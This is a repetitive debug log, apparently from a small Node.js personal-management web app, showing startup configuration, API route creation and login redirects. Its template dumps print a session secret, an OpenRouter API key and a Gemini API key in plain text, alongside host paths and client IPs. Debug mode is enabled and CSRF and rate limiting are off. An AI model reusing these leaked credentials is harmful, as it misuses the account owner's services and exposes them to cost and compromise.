  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-13T23:23:07.636Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-13T23:23:08.546Z server-connect:setup:upload Upload middleware configured.
2026-06-13T23:23:08.547Z server-connect:secure CSRF Protection initialized
2026-06-13T23:23:08.552Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-13T23:23:08.552Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-13T23:23:08.554Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-13T23:23:08.558Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-13T23:23:08.561Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-13T23:23:08.567Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-13T23:23:08.579Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-13T23:23:08.593Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-13T23:23:08.597Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-13T23:23:08.599Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-13T23:23:08.601Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-13T23:23:08.605Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-13T23:23:08.611Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-13T23:23:08.620Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-13T23:23:08.625Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-13T23:23:08.632Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-13T23:23:08.634Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-13T23:23:08.638Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-13T23:23:08.644Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-13T23:23:08.648Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-13T23:23:08.650Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-13T23:23:08.658Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-13T23:23:08.660Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-13T23:23:08.665Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-13T23:23:08.669Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-13T23:23:08.671Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-13T23:23:08.673Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-13T23:23:08.675Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-13T23:23:08.681Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-13T23:23:08.683Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-13T23:23:08.685Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-13T23:23:08.689Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-13T23:23:08.693Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-13T23:23:08.695Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-13T23:23:08.701Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-13T23:23:08.705Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-13T23:23:08.707Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-13T23:23:08.716Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-13T23:23:09.205Z server-connect:router Serving templateView /
2026-06-13T23:23:09.251Z server-connect:app Executing action step identify
2026-06-13T23:23:09.251Z server-connect:app options: { provider: 'security' }
2026-06-13T23:23:09.257Z server-connect:auth No login cookie found
2026-06-13T23:23:09.257Z server-connect:output identity: false
2026-06-13T23:23:09.257Z server-connect:app Executing action step restrict
2026-06-13T23:23:09.257Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-13T23:23:09.261Z server-connect:output restrict: undefined
2026-06-14T03:23:38.441Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T03:23:40.711Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T03:23:41.573Z server-connect:setup:upload Upload middleware configured.
2026-06-14T03:23:41.573Z server-connect:secure CSRF Protection initialized
2026-06-14T03:23:41.578Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T03:23:41.582Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T03:23:41.582Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T03:23:41.585Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T03:23:41.590Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T03:23:41.594Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T03:23:41.608Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T03:23:41.622Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T03:23:41.626Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T03:23:41.627Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T03:23:41.629Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T03:23:41.634Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T03:23:41.639Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T03:23:41.648Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T03:23:41.654Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T03:23:41.725Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T03:23:41.729Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T03:23:41.733Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T03:23:41.738Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T03:23:41.742Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T03:23:41.744Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T03:23:41.753Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T03:23:41.753Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T03:23:41.760Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T03:23:41.763Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T03:23:41.766Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T03:23:41.768Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T03:23:41.771Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T03:23:41.777Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T03:23:41.777Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T03:23:41.780Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T03:23:41.780Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T03:23:41.784Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T03:23:41.787Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T03:23:41.793Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T03:23:41.797Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T03:23:41.799Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T03:23:41.809Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T03:23:42.300Z server-connect:router Serving templateView /
2026-06-14T03:23:42.302Z server-connect:app Executing action step identify
2026-06-14T03:23:42.302Z server-connect:app options: { provider: 'security' }
2026-06-14T03:23:42.304Z server-connect:auth No login cookie found
2026-06-14T03:23:42.304Z server-connect:output identity: false
2026-06-14T03:23:42.305Z server-connect:app Executing action step restrict
2026-06-14T03:23:42.305Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T03:23:42.308Z server-connect:output restrict: undefined
2026-06-14T12:06:54.518Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T12:06:56.713Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T12:06:57.578Z server-connect:setup:upload Upload middleware configured.
2026-06-14T12:06:57.578Z server-connect:secure CSRF Protection initialized
2026-06-14T12:06:57.584Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T12:06:57.587Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T12:06:57.588Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T12:06:57.590Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T12:06:57.598Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T12:06:57.599Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T12:06:57.613Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T12:06:57.628Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T12:06:57.630Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T12:06:57.633Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T12:06:57.635Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T12:06:57.638Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T12:06:57.645Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T12:06:57.654Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T12:06:57.660Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T12:06:57.729Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T12:06:57.730Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T12:06:57.735Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T12:06:57.741Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T12:06:57.744Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T12:06:57.747Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T12:06:57.753Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T12:06:57.757Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T12:06:57.762Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T12:06:57.765Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T12:06:57.768Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T12:06:57.771Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T12:06:57.771Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T12:06:57.779Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T12:06:57.779Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T12:06:57.781Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T12:06:57.784Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T12:06:57.787Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T12:06:57.790Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T12:06:57.796Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T12:06:57.799Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T12:06:57.802Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T12:06:57.811Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T12:06:58.300Z server-connect:router Serving templateView /
2026-06-14T12:06:58.348Z server-connect:app Executing action step identify
2026-06-14T12:06:58.348Z server-connect:app options: { provider: 'security' }
2026-06-14T12:06:58.360Z server-connect:auth No login cookie found
2026-06-14T12:06:58.360Z server-connect:output identity: false
2026-06-14T12:06:58.360Z server-connect:app Executing action step restrict
2026-06-14T12:06:58.360Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T12:06:58.363Z server-connect:output restrict: undefined
2026-06-14T12:06:58.408Z server-connect:router Serving templateView /login
2026-06-14T12:06:58.408Z server-connect:app Executing action step identify
2026-06-14T12:06:58.408Z server-connect:app options: { provider: 'security' }
2026-06-14T12:06:58.408Z server-connect:auth No login cookie found
2026-06-14T12:06:58.408Z server-connect:output identity: false
2026-06-14T12:06:58.408Z server-connect:router Render template layouts/authentication
2026-06-14T12:06:58.409Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.158.153.119',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T12:06:58.406Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.158.153.119',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.158.153.119',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T12:23:34.081Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T12:23:34.240Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T12:23:34.328Z server-connect:setup:upload Upload middleware configured.
2026-06-14T12:23:34.328Z server-connect:secure CSRF Protection initialized
2026-06-14T12:23:34.330Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T12:23:34.331Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T12:23:34.332Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T12:23:34.333Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T12:23:34.333Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T12:23:34.334Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T12:23:34.335Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T12:23:34.335Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T12:23:34.338Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T12:23:34.339Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T12:23:34.339Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T12:23:34.339Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T12:23:34.340Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T12:23:34.340Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T12:23:34.340Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T12:23:34.341Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T12:23:34.341Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T12:23:34.341Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-14T12:23:34.342Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-14T12:23:34.342Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-14T12:23:34.342Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-14T12:23:34.343Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-14T12:23:34.343Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-14T12:23:34.344Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-14T12:23:34.344Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-14T12:23:34.344Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-14T12:23:34.345Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-14T12:23:34.345Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-14T12:23:34.376Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-14T12:23:34.377Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-14T12:23:34.377Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-14T12:23:34.377Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-14T12:23:34.378Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-14T12:23:34.378Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-14T12:23:34.379Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-14T12:23:34.379Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-14T12:23:34.379Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-14T12:23:34.380Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-14T12:23:34.451Z server-connect:router Serving templateView /
2026-06-14T12:23:34.456Z server-connect:app Executing action step identify
2026-06-14T12:23:34.456Z server-connect:app options: { provider: 'security' }
2026-06-14T12:23:34.457Z server-connect:auth No login cookie found
2026-06-14T12:23:34.458Z server-connect:output identity: false
2026-06-14T12:23:34.458Z server-connect:app Executing action step restrict
2026-06-14T12:23:34.458Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-14T12:23:34.461Z server-connect:output restrict: undefined
2026-06-14T12:23:34.605Z server-connect:router Serving templateView /login
2026-06-14T12:23:34.605Z server-connect:app Executing action step identify
2026-06-14T12:23:34.605Z server-connect:app options: { provider: 'security' }
2026-06-14T12:23:34.605Z server-connect:auth No login cookie found
2026-06-14T12:23:34.606Z server-connect:output identity: false
2026-06-14T12:23:34.606Z server-connect:router Render template layouts/authentication
2026-06-14T12:23:34.606Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.188.207.133',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-15T12:23:34.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.188.207.133',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.188.207.133',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-14T14:41:18.181Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-14T14:41:18.336Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-14T14:41:18.432Z server-connect:setup:upload Upload middleware configured.
2026-06-14T14:41:18.433Z server-connect:secure CSRF Protection initialized
2026-06-14T14:41:18.435Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-14T14:41:18.437Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-14T14:41:18.437Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-14T14:41:18.438Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-14T14:41:18.439Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-14T14:41:18.440Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-14T14:41:18.444Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-14T14:41:18.444Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-14T14:41:18.445Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-14T14:41:18.445Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-14T14:41:18.445Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-14T14:41:18.446Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-14T14:41:18.446Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-14T14:41:18.446Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-14T14:41:18.447Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-14T14:41:18.447Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-14T14:41:18.447Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-14T14:41:18.447Z server-connect:setup:routes Api route /api/goals/list(.json)? created
